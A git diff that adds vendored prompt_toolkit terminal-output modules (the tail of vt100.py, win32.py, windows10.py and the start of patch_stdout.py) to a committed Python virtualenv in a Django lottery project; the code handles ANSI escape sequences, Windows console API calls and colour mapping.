cls._fds_not_a_terminal.add(fd) + + def get_size() -> Size: + # If terminal (incorrectly) reports its size as 0, pick a + # reasonable default. See + # https://github.com/ipython/ipython/issues/10071 + rows, columns = (None, None) + + # It is possible that `stdout` is no longer a TTY device at this + # point. In that case we get an `OSError` in the ioctl call in + # `get_size`. See: + # https://github.com/prompt-toolkit/python-prompt-toolkit/pull/1021 + try: + rows, columns = _get_size(stdout.fileno()) + except OSError: + pass + return Size(rows=rows or 24, columns=columns or 80) + + return cls( + stdout, + get_size, + term=term, + default_color_depth=default_color_depth, + enable_bell=enable_bell, + ) + + def get_size(self) -> Size: + return self._get_size() + + def fileno(self) -> int: + "Return file descriptor." + return self.stdout.fileno() + + def encoding(self) -> str: + "Return encoding used for stdout." + return self.stdout.encoding + + def write_raw(self, data: str) -> None: + """ + Write raw data to output. + """ + self._buffer.append(data) + + def write(self, data: str) -> None: + """ + Write text to output. + (Removes vt100 escape codes. -- used for safely writing text.) + """ + self._buffer.append(data.replace("\x1b", "?")) + + def set_title(self, title: str) -> None: + """ + Set terminal title. + """ + if self.term not in ( + "linux", + "eterm-color", + ): # Not supported by the Linux console. + self.write_raw( + "\x1b]2;%s\x07" % title.replace("\x1b", "").replace("\x07", "") + ) + + def clear_title(self) -> None: + self.set_title("") + + def erase_screen(self) -> None: + """ + Erases the screen with the background colour and moves the cursor to + home. + """ + self.write_raw("\x1b[2J") + + def enter_alternate_screen(self) -> None: + self.write_raw("\x1b[?1049h\x1b[H") + + def quit_alternate_screen(self) -> None: + self.write_raw("\x1b[?1049l") + + def enable_mouse_support(self) -> None: + self.write_raw("\x1b[?1000h") + + # Enable mouse-drag support. + self.write_raw("\x1b[?1003h") + + # Enable urxvt Mouse mode. (For terminals that understand this.) + self.write_raw("\x1b[?1015h") + + # Also enable Xterm SGR mouse mode. (For terminals that understand this.) + self.write_raw("\x1b[?1006h") + + # Note: E.g. lxterminal understands 1000h, but not the urxvt or sgr + # extensions. + + def disable_mouse_support(self) -> None: + self.write_raw("\x1b[?1000l") + self.write_raw("\x1b[?1015l") + self.write_raw("\x1b[?1006l") + self.write_raw("\x1b[?1003l") + + def erase_end_of_line(self) -> None: + """ + Erases from the current cursor position to the end of the current line. + """ + self.write_raw("\x1b[K") + + def erase_down(self) -> None: + """ + Erases the screen from the current line down to the bottom of the + screen. + """ + self.write_raw("\x1b[J") + + def reset_attributes(self) -> None: + self.write_raw("\x1b[0m") + + def set_attributes(self, attrs: Attrs, color_depth: ColorDepth) -> None: + """ + Create new style and output. + + :param attrs: `Attrs` instance. + """ + # Get current depth. + escape_code_cache = self._escape_code_caches[color_depth] + + # Write escape character. + self.write_raw(escape_code_cache[attrs]) + + def disable_autowrap(self) -> None: + self.write_raw("\x1b[?7l") + + def enable_autowrap(self) -> None: + self.write_raw("\x1b[?7h") + + def enable_bracketed_paste(self) -> None: + self.write_raw("\x1b[?2004h") + + def disable_bracketed_paste(self) -> None: + self.write_raw("\x1b[?2004l") + + def reset_cursor_key_mode(self) -> None: + """ + For vt100 only. + Put the terminal in cursor mode (instead of application mode). + """ + # Put the terminal in cursor mode. (Instead of application mode.) + self.write_raw("\x1b[?1l") + + def cursor_goto(self, row: int = 0, column: int = 0) -> None: + """ + Move cursor position. + """ + self.write_raw("\x1b[%i;%iH" % (row, column)) + + def cursor_up(self, amount: int) -> None: + if amount == 0: + pass + elif amount == 1: + self.write_raw("\x1b[A") + else: + self.write_raw("\x1b[%iA" % amount) + + def cursor_down(self, amount: int) -> None: + if amount == 0: + pass + elif amount == 1: + # Note: Not the same as '\n', '\n' can cause the window content to + # scroll. + self.write_raw("\x1b[B") + else: + self.write_raw("\x1b[%iB" % amount) + + def cursor_forward(self, amount: int) -> None: + if amount == 0: + pass + elif amount == 1: + self.write_raw("\x1b[C") + else: + self.write_raw("\x1b[%iC" % amount) + + def cursor_backward(self, amount: int) -> None: + if amount == 0: + pass + elif amount == 1: + self.write_raw("\b") # '\x1b[D' + else: + self.write_raw("\x1b[%iD" % amount) + + def hide_cursor(self) -> None: + self.write_raw("\x1b[?25l") + + def show_cursor(self) -> None: + self.write_raw("\x1b[?12l\x1b[?25h") # Stop blinking cursor and show. + + def set_cursor_shape(self, cursor_shape: CursorShape) -> None: + if cursor_shape == CursorShape._NEVER_CHANGE: + return + + self._cursor_shape_changed = True + self.write_raw( + { + CursorShape.BLOCK: "\x1b[2 q", + CursorShape.BEAM: "\x1b[6 q", + CursorShape.UNDERLINE: "\x1b[4 q", + CursorShape.BLINKING_BLOCK: "\x1b[1 q", + CursorShape.BLINKING_BEAM: "\x1b[5 q", + CursorShape.BLINKING_UNDERLINE: "\x1b[3 q", + }.get(cursor_shape, "") + ) + + def reset_cursor_shape(self) -> None: + "Reset cursor shape." + # (Only reset cursor shape, if we ever changed it.) + if self._cursor_shape_changed: + self._cursor_shape_changed = False + + # Reset cursor shape. + self.write_raw("\x1b[0 q") + + def flush(self) -> None: + """ + Write to output stream and flush. + """ + if not self._buffer: + return + + data = "".join(self._buffer) + self._buffer = [] + + flush_stdout(self.stdout, data, write_binary=self.write_binary) + + def ask_for_cpr(self) -> None: + """ + Asks for a cursor position report (CPR). + """ + self.write_raw("\x1b[6n") + self.flush() + + @property + def responds_to_cpr(self) -> bool: + # When the input is a tty, we assume that CPR is supported. + # It's not when the input is piped from Pexpect. + if os.environ.get("PROMPT_TOOLKIT_NO_CPR", "") == "1": + return False + + if is_dumb_terminal(self.term): + return False + try: + return self.stdout.isatty() + except ValueError: + return False # ValueError: I/O operation on closed file + + def bell(self) -> None: + "Sound bell." + if self.enable_bell: + self.write_raw("\a") + self.flush() + + def get_default_color_depth(self) -> ColorDepth: + """ + Return the default color depth for a vt100 terminal, according to the + our term value. + + We prefer 256 colors almost always, because this is what most terminals + support these days, and is a good default. + """ + if self.default_color_depth is not None: + return self.default_color_depth + + term = self.term + + if term is None: + return ColorDepth.DEFAULT + + if is_dumb_terminal(term): + return ColorDepth.DEPTH_1_BIT + + if term in ("linux", "eterm-color"): + return ColorDepth.DEPTH_4_BIT + + return ColorDepth.DEFAULT diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/win32.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/win32.py new file mode 100644 index 00000000..1724eae5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/win32.py @@ -0,0 +1,687 @@ +import sys + +assert sys.platform == "win32" + +import os +from ctypes import ArgumentError, byref, c_char, c_long, c_uint, c_ulong, pointer + +from ..utils import SPHINX_AUTODOC_RUNNING + +# Do not import win32-specific stuff when generating documentation. +# Otherwise RTD would be unable to generate docs for this module. +if not SPHINX_AUTODOC_RUNNING: + from ctypes import windll + +from ctypes.wintypes import DWORD, HANDLE +from typing import Callable, Dict, List, Optional, TextIO, Tuple, Type, TypeVar, Union + +from prompt_toolkit.cursor_shapes import CursorShape +from prompt_toolkit.data_structures import Size +from prompt_toolkit.styles import ANSI_COLOR_NAMES, Attrs +from prompt_toolkit.utils import get_cwidth +from prompt_toolkit.win32_types import ( + CONSOLE_SCREEN_BUFFER_INFO, + COORD, + SMALL_RECT, + STD_INPUT_HANDLE, + STD_OUTPUT_HANDLE, +) + +from .base import Output +from .color_depth import ColorDepth + +__all__ = [ + "Win32Output", +] + + +def _coord_byval(coord: COORD) -> c_long: + """ + Turns a COORD object into a c_long. + This will cause it to be passed by value instead of by reference. (That is what I think at least.) + + When running ``ptipython`` is run (only with IPython), we often got the following error:: + + Error in 'SetConsoleCursorPosition'. + ArgumentError("argument 2: : wrong type",) + argument 2: : wrong type + + It was solved by turning ``COORD`` parameters into a ``c_long`` like this. + + More info: http://msdn.microsoft.com/en-us/library/windows/desktop/ms686025(v=vs.85).aspx + """ + return c_long(coord.Y * 0x10000 | coord.X & 0xFFFF) + + +#: If True: write the output of the renderer also to the following file. This +#: is very useful for debugging. (e.g.: to see that we don't write more bytes +#: than required.) +_DEBUG_RENDER_OUTPUT = False +_DEBUG_RENDER_OUTPUT_FILENAME = r"prompt-toolkit-windows-output.log" + + +class NoConsoleScreenBufferError(Exception): + """ + Raised when the application is not running inside a Windows Console, but + the user tries to instantiate Win32Output. + """ + + def __init__(self) -> None: + # Are we running in 'xterm' on Windows, like git-bash for instance? + xterm = "xterm" in os.environ.get("TERM", "") + + if xterm: + message = ( + "Found %s, while expecting a Windows console. " + 'Maybe try to run this program using "winpty" ' + "or run it in cmd.exe instead. Or otherwise, " + "in case of Cygwin, use the Python executable " + "that is compiled for Cygwin." % os.environ["TERM"] + ) + else: + message = "No Windows console found. Are you running cmd.exe?" + super().__init__(message) + + +_T = TypeVar("_T") + + +class Win32Output(Output): + """ + I/O abstraction for rendering to Windows consoles. + (cmd.exe and similar.) + """ + + def __init__( + self, + stdout: TextIO, + use_complete_width: bool = False, + default_color_depth: Optional[ColorDepth] = None, + ) -> None: + self.use_complete_width = use_complete_width + self.default_color_depth = default_color_depth + + self._buffer: List[str] = [] + self.stdout: TextIO = stdout + self.hconsole = HANDLE(windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)) + + self._in_alternate_screen = False + self._hidden = False + + self.color_lookup_table = ColorLookupTable() + + # Remember the default console colors. + info = self.get_win32_screen_buffer_info() + self.default_attrs = info.wAttributes if info else 15 + + if _DEBUG_RENDER_OUTPUT: + self.LOG = open(_DEBUG_RENDER_OUTPUT_FILENAME, "ab") + + def fileno(self) -> int: + "Return file descriptor." + return self.stdout.fileno() + + def encoding(self) -> str: + "Return encoding used for stdout." + return self.stdout.encoding + + def write(self, data: str) -> None: + if self._hidden: + data = " " * get_cwidth(data) + + self._buffer.append(data) + + def write_raw(self, data: str) -> None: + "For win32, there is no difference between write and write_raw." + self.write(data) + + def get_size(self) -> Size: + info = self.get_win32_screen_buffer_info() + + # We take the width of the *visible* region as the size. Not the width + # of the complete screen buffer. (Unless use_complete_width has been + # set.) + if self.use_complete_width: + width = info.dwSize.X + else: + width = info.srWindow.Right - info.srWindow.Left + + height = info.srWindow.Bottom - info.srWindow.Top + 1 + + # We avoid the right margin, windows will wrap otherwise. + maxwidth = info.dwSize.X - 1 + width = min(maxwidth, width) + + # Create `Size` object. + return Size(rows=height, columns=width) + + def _winapi(self, func: Callable[..., _T], *a: object, **kw: object) -> _T: + """ + Flush and call win API function. + """ + self.flush() + + if _DEBUG_RENDER_OUTPUT: + self.LOG.write(("%r" % func.__name__).encode("utf-8") + b"\n") + self.LOG.write( + b" " + ", ".join(["%r" % i for i in a]).encode("utf-8") + b"\n" + ) + self.LOG.write( + b" " + + ", ".join(["%r" % type(i) for i in a]).encode("utf-8") + + b"\n" + ) + self.LOG.flush() + + try: + return func(*a, **kw) + except ArgumentError as e: + if _DEBUG_RENDER_OUTPUT: + self.LOG.write((f" Error in {func.__name__!r} {e!r} {e}\n").encode()) + + raise + + def get_win32_screen_buffer_info(self) -> CONSOLE_SCREEN_BUFFER_INFO: + """ + Return Screen buffer info. + """ + # NOTE: We don't call the `GetConsoleScreenBufferInfo` API through + # `self._winapi`. Doing so causes Python to crash on certain 64bit + # Python versions. (Reproduced with 64bit Python 2.7.6, on Windows + # 10). It is not clear why. Possibly, it has to do with passing + # these objects as an argument, or through *args. + + # The Python documentation contains the following - possibly related - warning: + # ctypes does not support passing unions or structures with + # bit-fields to functions by value. While this may work on 32-bit + # x86, it's not guaranteed by the library to work in the general + # case. Unions and structures with bit-fields should always be + # passed to functions by pointer. + + # Also see: + # - https://github.com/ipython/ipython/issues/10070 + # - https://github.com/jonathanslenders/python-prompt-toolkit/issues/406 + # - https://github.com/jonathanslenders/python-prompt-toolkit/issues/86 + + self.flush() + sbinfo = CONSOLE_SCREEN_BUFFER_INFO() + success = windll.kernel32.GetConsoleScreenBufferInfo( + self.hconsole, byref(sbinfo) + ) + + # success = self._winapi(windll.kernel32.GetConsoleScreenBufferInfo, + # self.hconsole, byref(sbinfo)) + + if success: + return sbinfo + else: + raise NoConsoleScreenBufferError + + def set_title(self, title: str) -> None: + """ + Set terminal title. + """ + self._winapi(windll.kernel32.SetConsoleTitleW, title) + + def clear_title(self) -> None: + self._winapi(windll.kernel32.SetConsoleTitleW, "") + + def erase_screen(self) -> None: + start = COORD(0, 0) + sbinfo = self.get_win32_screen_buffer_info() + length = sbinfo.dwSize.X * sbinfo.dwSize.Y + + self.cursor_goto(row=0, column=0) + self._erase(start, length) + + def erase_down(self) -> None: + sbinfo = self.get_win32_screen_buffer_info() + size = sbinfo.dwSize + + start = sbinfo.dwCursorPosition + length = (size.X - size.X) + size.X * (size.Y - sbinfo.dwCursorPosition.Y) + + self._erase(start, length) + + def erase_end_of_line(self) -> None: + """""" + sbinfo = self.get_win32_screen_buffer_info() + start = sbinfo.dwCursorPosition + length = sbinfo.dwSize.X - sbinfo.dwCursorPosition.X + + self._erase(start, length) + + def _erase(self, start: COORD, length: int) -> None: + chars_written = c_ulong() + + self._winapi( + windll.kernel32.FillConsoleOutputCharacterA, + self.hconsole, + c_char(b" "), + DWORD(length), + _coord_byval(start), + byref(chars_written), + ) + + # Reset attributes. + sbinfo = self.get_win32_screen_buffer_info() + self._winapi( + windll.kernel32.FillConsoleOutputAttribute, + self.hconsole, + sbinfo.wAttributes, + length, + _coord_byval(start), + byref(chars_written), + ) + + def reset_attributes(self) -> None: + "Reset the console foreground/background color." + self._winapi( + windll.kernel32.SetConsoleTextAttribute, self.hconsole, self.default_attrs + ) + self._hidden = False + + def set_attributes(self, attrs: Attrs, color_depth: ColorDepth) -> None: + ( + fgcolor, + bgcolor, + bold, + underline, + strike, + italic, + blink, + reverse, + hidden, + ) = attrs + self._hidden = bool(hidden) + + # Start from the default attributes. + win_attrs: int = self.default_attrs + + if color_depth != ColorDepth.DEPTH_1_BIT: + # Override the last four bits: foreground color. + if fgcolor: + win_attrs = win_attrs & ~0xF + win_attrs |= self.color_lookup_table.lookup_fg_color(fgcolor) + + # Override the next four bits: background color. + if bgcolor: + win_attrs = win_attrs & ~0xF0 + win_attrs |= self.color_lookup_table.lookup_bg_color(bgcolor) + + # Reverse: swap these four bits groups. + if reverse: + win_attrs = ( + (win_attrs & ~0xFF) + | ((win_attrs & 0xF) << 4) + | ((win_attrs & 0xF0) >> 4) + ) + + self._winapi(windll.kernel32.SetConsoleTextAttribute, self.hconsole, win_attrs) + + def disable_autowrap(self) -> None: + # Not supported by Windows. + pass + + def enable_autowrap(self) -> None: + # Not supported by Windows. + pass + + def cursor_goto(self, row: int = 0, column: int = 0) -> None: + pos = COORD(X=column, Y=row) + self._winapi( + windll.kernel32.SetConsoleCursorPosition, self.hconsole, _coord_byval(pos) + ) + + def cursor_up(self, amount: int) -> None: + sr = self.get_win32_screen_buffer_info().dwCursorPosition + pos = COORD(X=sr.X, Y=sr.Y - amount) + self._winapi( + windll.kernel32.SetConsoleCursorPosition, self.hconsole, _coord_byval(pos) + ) + + def cursor_down(self, amount: int) -> None: + self.cursor_up(-amount) + + def cursor_forward(self, amount: int) -> None: + sr = self.get_win32_screen_buffer_info().dwCursorPosition + # assert sr.X + amount >= 0, 'Negative cursor position: x=%r amount=%r' % (sr.X, amount) + + pos = COORD(X=max(0, sr.X + amount), Y=sr.Y) + self._winapi( + windll.kernel32.SetConsoleCursorPosition, self.hconsole, _coord_byval(pos) + ) + + def cursor_backward(self, amount: int) -> None: + self.cursor_forward(-amount) + + def flush(self) -> None: + """ + Write to output stream and flush. + """ + if not self._buffer: + # Only flush stdout buffer. (It could be that Python still has + # something in its buffer. -- We want to be sure to print that in + # the correct color.) + self.stdout.flush() + return + + data = "".join(self._buffer) + + if _DEBUG_RENDER_OUTPUT: + self.LOG.write(("%r" % data).encode("utf-8") + b"\n") + self.LOG.flush() + + # Print characters one by one. This appears to be the best solution + # in oder to avoid traces of vertical lines when the completion + # menu disappears. + for b in data: + written = DWORD() + + retval = windll.kernel32.WriteConsoleW( + self.hconsole, b, 1, byref(written), None + ) + assert retval != 0 + + self._buffer = [] + + def get_rows_below_cursor_position(self) -> int: + info = self.get_win32_screen_buffer_info() + return info.srWindow.Bottom - info.dwCursorPosition.Y + 1 + + def scroll_buffer_to_prompt(self) -> None: + """ + To be called before drawing the prompt. This should scroll the console + to left, with the cursor at the bottom (if possible). + """ + # Get current window size + info = self.get_win32_screen_buffer_info() + sr = info.srWindow + cursor_pos = info.dwCursorPosition + + result = SMALL_RECT() + + # Scroll to the left. + result.Left = 0 + result.Right = sr.Right - sr.Left + + # Scroll vertical + win_height = sr.Bottom - sr.Top + if 0 < sr.Bottom - cursor_pos.Y < win_height - 1: + # no vertical scroll if cursor already on the screen + result.Bottom = sr.Bottom + else: + result.Bottom = max(win_height, cursor_pos.Y) + result.Top = result.Bottom - win_height + + # Scroll API + self._winapi( + windll.kernel32.SetConsoleWindowInfo, self.hconsole, True, byref(result) + ) + + def enter_alternate_screen(self) -> None: + """ + Go to alternate screen buffer. + """ + if not self._in_alternate_screen: + GENERIC_READ = 0x80000000 + GENERIC_WRITE = 0x40000000 + + # Create a new console buffer and activate that one. + handle = HANDLE( + self._winapi( + windll.kernel32.CreateConsoleScreenBuffer, + GENERIC_READ | GENERIC_WRITE, + DWORD(0), + None, + DWORD(1), + None, + ) + ) + + self._winapi(windll.kernel32.SetConsoleActiveScreenBuffer, handle) + self.hconsole = handle + self._in_alternate_screen = True + + def quit_alternate_screen(self) -> None: + """ + Make stdout again the active buffer. + """ + if self._in_alternate_screen: + stdout = HANDLE( + self._winapi(windll.kernel32.GetStdHandle, STD_OUTPUT_HANDLE) + ) + self._winapi(windll.kernel32.SetConsoleActiveScreenBuffer, stdout) + self._winapi(windll.kernel32.CloseHandle, self.hconsole) + self.hconsole = stdout + self._in_alternate_screen = False + + def enable_mouse_support(self) -> None: + ENABLE_MOUSE_INPUT = 0x10 + + # This `ENABLE_QUICK_EDIT_MODE` flag needs to be cleared for mouse + # support to work, but it's possible that it was already cleared + # before. + ENABLE_QUICK_EDIT_MODE = 0x0040 + + handle = HANDLE(windll.kernel32.GetStdHandle(STD_INPUT_HANDLE)) + + original_mode = DWORD() + self._winapi(windll.kernel32.GetConsoleMode, handle, pointer(original_mode)) + self._winapi( + windll.kernel32.SetConsoleMode, + handle, + (original_mode.value | ENABLE_MOUSE_INPUT) & ~ENABLE_QUICK_EDIT_MODE, + ) + + def disable_mouse_support(self) -> None: + ENABLE_MOUSE_INPUT = 0x10 + handle = HANDLE(windll.kernel32.GetStdHandle(STD_INPUT_HANDLE)) + + original_mode = DWORD() + self._winapi(windll.kernel32.GetConsoleMode, handle, pointer(original_mode)) + self._winapi( + windll.kernel32.SetConsoleMode, + handle, + original_mode.value & ~ENABLE_MOUSE_INPUT, + ) + + def hide_cursor(self) -> None: + pass + + def show_cursor(self) -> None: + pass + + def set_cursor_shape(self, cursor_shape: CursorShape) -> None: + pass + + def reset_cursor_shape(self) -> None: + pass + + @classmethod + def win32_refresh_window(cls) -> None: + """ + Call win32 API to refresh the whole Window. + + This is sometimes necessary when the application paints background + for completion menus. When the menu disappears, it leaves traces due + to a bug in the Windows Console. Sending a repaint request solves it. + """ + # Get console handle + handle = HANDLE(windll.kernel32.GetConsoleWindow()) + + RDW_INVALIDATE = 0x0001 + windll.user32.RedrawWindow(handle, None, None, c_uint(RDW_INVALIDATE)) + + def get_default_color_depth(self) -> ColorDepth: + """ + Return the default color depth for a windows terminal. + + Contrary to the Vt100 implementation, this doesn't depend on a $TERM + variable. + """ + if self.default_color_depth is not None: + return self.default_color_depth + + # For now, by default, always use 4 bit color on Windows 10 by default, + # even when vt100 escape sequences with + # ENABLE_VIRTUAL_TERMINAL_PROCESSING are supported. We don't have a + # reliable way yet to know whether our console supports true color or + # only 4-bit. + return ColorDepth.DEPTH_4_BIT + + +class FOREGROUND_COLOR: + BLACK = 0x0000 + BLUE = 0x0001 + GREEN = 0x0002 + CYAN = 0x0003 + RED = 0x0004 + MAGENTA = 0x0005 + YELLOW = 0x0006 + GRAY = 0x0007 + INTENSITY = 0x0008 # Foreground color is intensified. + + +class BACKGROUND_COLOR: + BLACK = 0x0000 + BLUE = 0x0010 + GREEN = 0x0020 + CYAN = 0x0030 + RED = 0x0040 + MAGENTA = 0x0050 + YELLOW = 0x0060 + GRAY = 0x0070 + INTENSITY = 0x0080 # Background color is intensified. + + +def _create_ansi_color_dict( + color_cls: Union[Type[FOREGROUND_COLOR], Type[BACKGROUND_COLOR]] +) -> Dict[str, int]: + "Create a table that maps the 16 named ansi colors to their Windows code." + return { + "ansidefault": color_cls.BLACK, + "ansiblack": color_cls.BLACK, + "ansigray": color_cls.GRAY, + "ansibrightblack": color_cls.BLACK | color_cls.INTENSITY, + "ansiwhite": color_cls.GRAY | color_cls.INTENSITY, + # Low intensity. + "ansired": color_cls.RED, + "ansigreen": color_cls.GREEN, + "ansiyellow": color_cls.YELLOW, + "ansiblue": color_cls.BLUE, + "ansimagenta": color_cls.MAGENTA, + "ansicyan": color_cls.CYAN, + # High intensity. + "ansibrightred": color_cls.RED | color_cls.INTENSITY, + "ansibrightgreen": color_cls.GREEN | color_cls.INTENSITY, + "ansibrightyellow": color_cls.YELLOW | color_cls.INTENSITY, + "ansibrightblue": color_cls.BLUE | color_cls.INTENSITY, + "ansibrightmagenta": color_cls.MAGENTA | color_cls.INTENSITY, + "ansibrightcyan": color_cls.CYAN | color_cls.INTENSITY, + } + + +FG_ANSI_COLORS = _create_ansi_color_dict(FOREGROUND_COLOR) +BG_ANSI_COLORS = _create_ansi_color_dict(BACKGROUND_COLOR) + +assert set(FG_ANSI_COLORS) == set(ANSI_COLOR_NAMES) +assert set(BG_ANSI_COLORS) == set(ANSI_COLOR_NAMES) + + +class ColorLookupTable: + """ + Inspired by pygments/formatters/terminal256.py + """ + + def __init__(self) -> None: + self._win32_colors = self._build_color_table() + + # Cache (map color string to foreground and background code). + self.best_match: Dict[str, Tuple[int, int]] = {} + + @staticmethod + def _build_color_table() -> List[Tuple[int, int, int, int, int]]: + """ + Build an RGB-to-256 color conversion table + """ + FG = FOREGROUND_COLOR + BG = BACKGROUND_COLOR + + return [ + (0x00, 0x00, 0x00, FG.BLACK, BG.BLACK), + (0x00, 0x00, 0xAA, FG.BLUE, BG.BLUE), + (0x00, 0xAA, 0x00, FG.GREEN, BG.GREEN), + (0x00, 0xAA, 0xAA, FG.CYAN, BG.CYAN), + (0xAA, 0x00, 0x00, FG.RED, BG.RED), + (0xAA, 0x00, 0xAA, FG.MAGENTA, BG.MAGENTA), + (0xAA, 0xAA, 0x00, FG.YELLOW, BG.YELLOW), + (0x88, 0x88, 0x88, FG.GRAY, BG.GRAY), + (0x44, 0x44, 0xFF, FG.BLUE | FG.INTENSITY, BG.BLUE | BG.INTENSITY), + (0x44, 0xFF, 0x44, FG.GREEN | FG.INTENSITY, BG.GREEN | BG.INTENSITY), + (0x44, 0xFF, 0xFF, FG.CYAN | FG.INTENSITY, BG.CYAN | BG.INTENSITY), + (0xFF, 0x44, 0x44, FG.RED | FG.INTENSITY, BG.RED | BG.INTENSITY), + (0xFF, 0x44, 0xFF, FG.MAGENTA | FG.INTENSITY, BG.MAGENTA | BG.INTENSITY), + (0xFF, 0xFF, 0x44, FG.YELLOW | FG.INTENSITY, BG.YELLOW | BG.INTENSITY), + (0x44, 0x44, 0x44, FG.BLACK | FG.INTENSITY, BG.BLACK | BG.INTENSITY), + (0xFF, 0xFF, 0xFF, FG.GRAY | FG.INTENSITY, BG.GRAY | BG.INTENSITY), + ] + + def _closest_color(self, r: int, g: int, b: int) -> Tuple[int, int]: + distance = 257 * 257 * 3 # "infinity" (>distance from #000000 to #ffffff) + fg_match = 0 + bg_match = 0 + + for r_, g_, b_, fg_, bg_ in self._win32_colors: + rd = r - r_ + gd = g - g_ + bd = b - b_ + + d = rd * rd + gd * gd + bd * bd + + if d < distance: + fg_match = fg_ + bg_match = bg_ + distance = d + return fg_match, bg_match + + def _color_indexes(self, color: str) -> Tuple[int, int]: + indexes = self.best_match.get(color, None) + if indexes is None: + try: + rgb = int(str(color), 16) + except ValueError: + rgb = 0 + + r = (rgb >> 16) & 0xFF + g = (rgb >> 8) & 0xFF + b = rgb & 0xFF + indexes = self._closest_color(r, g, b) + self.best_match[color] = indexes + return indexes + + def lookup_fg_color(self, fg_color: str) -> int: + """ + Return the color for use in the + `windll.kernel32.SetConsoleTextAttribute` API call. + + :param fg_color: Foreground as text. E.g. 'ffffff' or 'red' + """ + # Foreground. + if fg_color in FG_ANSI_COLORS: + return FG_ANSI_COLORS[fg_color] + else: + return self._color_indexes(fg_color)[0] + + def lookup_bg_color(self, bg_color: str) -> int: + """ + Return the color for use in the + `windll.kernel32.SetConsoleTextAttribute` API call. + + :param bg_color: Background as text. E.g. 'ffffff' or 'red' + """ + # Background. + if bg_color in BG_ANSI_COLORS: + return BG_ANSI_COLORS[bg_color] + else: + return self._color_indexes(bg_color)[1] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/windows10.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/windows10.py new file mode 100644 index 00000000..d5d55f18 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/windows10.py @@ -0,0 +1,107 @@ +import sys + +assert sys.platform == "win32" + +from ctypes import byref, windll +from ctypes.wintypes import DWORD, HANDLE +from typing import Any, Optional, TextIO + +from prompt_toolkit.data_structures import Size +from prompt_toolkit.win32_types import STD_OUTPUT_HANDLE + +from .base import Output +from .color_depth import ColorDepth +from .vt100 import Vt100_Output +from .win32 import Win32Output + +__all__ = [ + "Windows10_Output", +] + +# See: https://msdn.microsoft.com/pl-pl/library/windows/desktop/ms686033(v=vs.85).aspx +ENABLE_PROCESSED_INPUT = 0x0001 +ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004 + + +class Windows10_Output: + """ + Windows 10 output abstraction. This enables and uses vt100 escape sequences. + """ + + def __init__( + self, stdout: TextIO, default_color_depth: Optional[ColorDepth] = None + ) -> None: + self.win32_output = Win32Output(stdout, default_color_depth=default_color_depth) + self.vt100_output = Vt100_Output( + stdout, lambda: Size(0, 0), default_color_depth=default_color_depth + ) + self._hconsole = HANDLE(windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)) + + def flush(self) -> None: + """ + Write to output stream and flush. + """ + original_mode = DWORD(0) + + # Remember the previous console mode. + windll.kernel32.GetConsoleMode(self._hconsole, byref(original_mode)) + + # Enable processing of vt100 sequences. + windll.kernel32.SetConsoleMode( + self._hconsole, + DWORD(ENABLE_PROCESSED_INPUT | ENABLE_VIRTUAL_TERMINAL_PROCESSING), + ) + + try: + self.vt100_output.flush() + finally: + # Restore console mode. + windll.kernel32.SetConsoleMode(self._hconsole, original_mode) + + @property + def responds_to_cpr(self) -> bool: + return False # We don't need this on Windows. + + def __getattr__(self, name: str) -> Any: + if name in ( + "get_size", + "get_rows_below_cursor_position", + "enable_mouse_support", + "disable_mouse_support", + "scroll_buffer_to_prompt", + "get_win32_screen_buffer_info", + "enable_bracketed_paste", + "disable_bracketed_paste", + "get_default_color_depth", + ): + return getattr(self.win32_output, name) + else: + return getattr(self.vt100_output, name) + + +Output.register(Windows10_Output) + + +def is_win_vt100_enabled() -> bool: + """ + Returns True when we're running Windows and VT100 escape sequences are + supported. + """ + if sys.platform != "win32": + return False + + hconsole = HANDLE(windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)) + + # Get original console mode. + original_mode = DWORD(0) + windll.kernel32.GetConsoleMode(hconsole, byref(original_mode)) + + try: + # Try to enable VT100 sequences. + result: int = windll.kernel32.SetConsoleMode( + hconsole, DWORD(ENABLE_PROCESSED_INPUT | ENABLE_VIRTUAL_TERMINAL_PROCESSING) + ) + + return result == 1 + finally: + windll.kernel32.SetConsoleMode(hconsole, original_mode) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/patch_stdout.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/patch_stdout.py new file mode 100644 index 00000000..0abbcdb8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/patch_stdout.py @@ -0,0 +1,288 @@ +""" +patch_stdout +============ + +This implements a context manager that ensures that print statements within +it won't destroy the user interface. The context manager will replace +`sys.stdout` by something that draws the output above the current prompt, +rather than overwriting the UI. + +Usage:: + + with patch_stdout(application): + ... + application.run() + ... + +Multiple applications can run in the body of the context manager, one after the +other. +""" +import asyncio +import queue +import sys +import threading +import time +from contextlib import contextmanager +from typing import Generator, List, Optional, TextIO, Union, cast + +from .application import get_app_session, run_in_terminal +from .output import Output + +__all__ = [ + "patch_stdout", + "StdoutProxy", +] + + +@contextmanager +def patch_stdout(raw: bool = False) -> Generator[None, None, None]: + """ + Replace `sys.stdout` by an :class:`_StdoutProxy` instance. + + Writing to this proxy will make sure that the text appears above the + prompt, and that it doesn't destroy the output from the renderer. If no + application is curring, the behaviour should be identical to writing to + `sys.stdout` directly. + + Warning: If a new event loop is installed using `asyncio.set_event_loop()`, + then make sure that the context manager is applied after the event loop + is changed. Printing to stdout will be scheduled in the event loop + that's active when the context manager is created. + + :param raw: (`bool`) When True, vt100 terminal escape sequences are not + removed/escaped. + """ + with StdoutProxy(raw=raw) as proxy: + original_stdout = sys.stdout + original_stderr = sys.stderr + + # Enter. + sys.stdout = cast(TextIO, proxy) + sys.stderr = cast(TextIO, proxy) + + try: + yield + finally: + sys.stdout = original_stdout + sys.stderr = original_stderr + + +class _Done: + "Sentinel value for stopping the stdout proxy." + + +class StdoutProxy: + """ + File-like object, which prints everything written to it, output above the + current application/prompt. This class is compatible with other file + objects and can be used as a drop-in replacement for `sys.stdout` or can + for instance be passed to `logging.StreamHandler`. + + The current application, above which we print, is determined by looking + what application currently runs in the `AppSession` that 